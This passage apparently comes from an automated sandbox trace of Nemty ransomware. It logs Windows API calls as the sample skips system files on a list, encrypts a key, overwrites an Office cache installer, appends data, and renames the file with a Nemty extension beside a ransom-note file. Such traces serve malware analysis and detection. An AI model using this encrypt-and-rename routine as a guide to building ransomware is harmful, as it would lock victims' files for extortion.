lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401c8 [0049.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0049.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.036] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0d7a230, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0d7a230, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0d7a230, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0049.036] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0049.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0049.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0049.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0049.036] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2=".") returned 1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="..") returned 1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="...") returned 1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="windows") returned -1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="$RECYCLE.BIN") returned 1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="rsa") returned -1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="NTDETECT.COM") returned -1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="ntldr") returned -1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="MSDOS.SYS") returned -1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="IO.SYS") returned -1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="boot.ini") returned -1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="boot.ini") returned -1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="AUTOEXEC.BAT") returned -1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="ntuser.dat") returned -1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="desktop.ini") returned -1 [0049.036] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="CONFIG.SYS") returned -1 [0049.037] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="RECYCLER") returned -1 [0049.037] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="BOOTSECT.BAK") returned -1 [0049.037] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="bootmgr") returned -1 [0049.037] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="programdata") returned -1 [0049.037] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="appdata") returned -1 [0049.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0049.037] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0049.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.037] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.msi", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUISet.msi", lpUsedDefaultChar=0x0) returned 16 [0049.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0049.037] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0049.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.037] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.msi", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUISet.msi", lpUsedDefaultChar=0x0) returned 16 [0049.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0049.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0049.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0049.037] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0049.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.037] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.msi", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUISet.msi", lpUsedDefaultChar=0x0) returned 16 [0049.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0049.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0049.037] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0049.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.037] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.msi", cchWideChar=16, lpMultiByteStr=0x4f9ece0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUISet.msi", lpUsedDefaultChar=0x0) returned 16 [0049.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0049.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0049.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0049.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0049.037] Sleep (dwMilliseconds=0x5) [0049.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0ef6ff0, dwHighDateTime=0x1d561e7)) [0049.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0ef6ff0, dwHighDateTime=0x1d561e7)) [0049.044] GetLastError () returned 0x12 [0049.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.044] GetLastError () returned 0x12 [0049.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0049.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.045] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.045] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="YhIw/uD2LHTMhtmJNde3vKNgVFug3wAIt/1nCEo9xwN7LiLx/VEbYEGInalIDEBV\r\nJ1hXciVl7GHWQrc7km+sBRvXfYl2SY5CHNR/erbp6Y2os1XsURKkRurcm0YhRBKe\r\nODJ14T+Ngq3ErzfM2LdFGR/4yLk8bud20V0RCgLbAtVg2I2Bbu1HeAkPgOG9gWDl\r\n95dxOWEn3I5dzVas4Y1mQS/lXOVKaQTUxwJXlQfS4SkBg5Whto+PW1tMiE41sCqb\r\n/VdbhfCytS0MWeynLzE6CBSXZnFclPMVL+y3iiXYN+0E9iSp6vlpRM9/hTJeAyr2\r\ntVjCKkNhKbxBPE32oObcew==\r\n", pcchString=0x653ef9c) returned 1 [0049.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0049.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.045] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.045] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=868864) returned 1 [0049.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0049.045] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.045] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0049.056] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.056] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0049.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.056] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=868864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4200 [0049.056] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.058] CloseHandle (hObject=0x3c8) returned 1 [0049.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0049.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0049.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0049.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0049.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94198 [0049.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0049.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0049.076] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi._nemty_kgobjgd_")) returned 1 [0049.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0049.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.077] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2=".") returned 1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="..") returned 1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="...") returned 1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="windows") returned -1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="$RECYCLE.BIN") returned 1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="rsa") returned -1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="NTDETECT.COM") returned -1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="ntldr") returned -1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="MSDOS.SYS") returned -1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="IO.SYS") returned -1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="boot.ini") returned -1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="boot.ini") returned -1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="AUTOEXEC.BAT") returned -1 [0049.077] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="ntuser.dat") returned -1 [0049.078] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="desktop.ini") returned -1 [0049.078] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="CONFIG.SYS") returned -1 [0049.078] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="RECYCLER") returned -1 [0049.078] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="BOOTSECT.BAK") returned -1 [0049.078] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="bootmgr") returned -1 [0049.078] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="programdata") returned -1 [0049.078] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="appdata") returned -1 [0049.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0049.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0049.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.xml", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUISet.xml", lpUsedDefaultChar=0x0) returned 16 [0049.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0049.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0049.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.xml", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUISet.xml", lpUsedDefaultChar=0x0) returned 16 [0049.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0049.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0049.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0049.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0049.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.xml", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUISet.xml", lpUsedDefaultChar=0x0) returned 16 [0049.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0049.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0049.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0049.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUISet.xml", cchWideChar=16, lpMultiByteStr=0x4f9ece0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUISet.xml", lpUsedDefaultChar=0x0) returned 16 [0049.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0049.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0049.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0049.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.078] Sleep (dwMilliseconds=0x5) [0049.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0f69410, dwHighDateTime=0x1d561e7)) [0049.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0f69410, dwHighDateTime=0x1d561e7)) [0049.091] GetLastError () returned 0x0 [0049.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.091] GetLastError () returned 0x0 [0049.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0049.091] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.091] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.091] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.091] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: 